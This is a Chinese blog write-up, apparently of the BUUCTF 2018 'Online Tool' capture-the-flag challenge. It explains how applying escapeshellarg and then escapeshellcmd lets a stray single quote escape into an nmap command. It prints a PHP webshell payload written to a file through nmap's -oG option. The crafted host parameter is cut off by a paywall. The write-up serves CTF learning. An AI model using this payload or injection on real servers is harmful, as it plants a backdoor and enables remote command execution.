[BUUCTF 2018]Online Tool PHP代码审计

最新推荐文章于 2025-02-12 00:36:23 发布

0d@y

最新推荐文章于 2025-02-12 00:36:23 发布

阅读量285

点赞数

分类专栏： buuctf web 文章标签： php 安全漏洞

本文链接：https://blog.youkuaiyun.com/m0_46412682/article/details/107973097

版权

这篇博客主要探讨了BUUCTF 2018中在线工具的PHP代码审计问题。文章指出，nmap -oG 命令可以用于写入文件，并详细解释了如何利用escapeshellarg和escapeshellcmd函数来过滤和转义特殊字符，尤其是单引号，以防止注入攻击。通过具体的例子，展示了这两个函数如何影响字符串的处理，最终得出结论：在处理用户输入时，必须谨慎使用这些函数以确保安全性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[BUUCTF 2018]Online Tool PHP代码审计
题目一开始的一段代码
在这里插入图片描述
这里的知识点是nmap -oG 可以写入文件
例如： nmap <?php eval($_POST['cmd']); ?> -oG 1.php

这里是host传参，但是不能直接写入，因为前面有两个函数过滤单引号之类的特殊字符
escapeshellarg的用处是有单引号就会在前面加个\转义，并且将两边的字符用单引号括起来，例如：

$host = "a'";
escapeshellarg($host);
echo $host;
输出 'a'\'''
\'是转义单引号

escapeshellcmd与上面的函数有所不同，它只会将不成对的单引号或\前加
例如：

上面输出的字符 'a'\'''
$host =  "'a'\'''";
escapeshellcmd($host);
echo $host;
输出  'a'\\''\'
单个\所以前面再加个\，前面两个'把a闭合了'a' ，后面''闭合了，只剩最
后面一个单着的单引号，所以前面加一个\

所以我们再host参数是变成
?host='<?php ev

最低0.47元/天解锁文章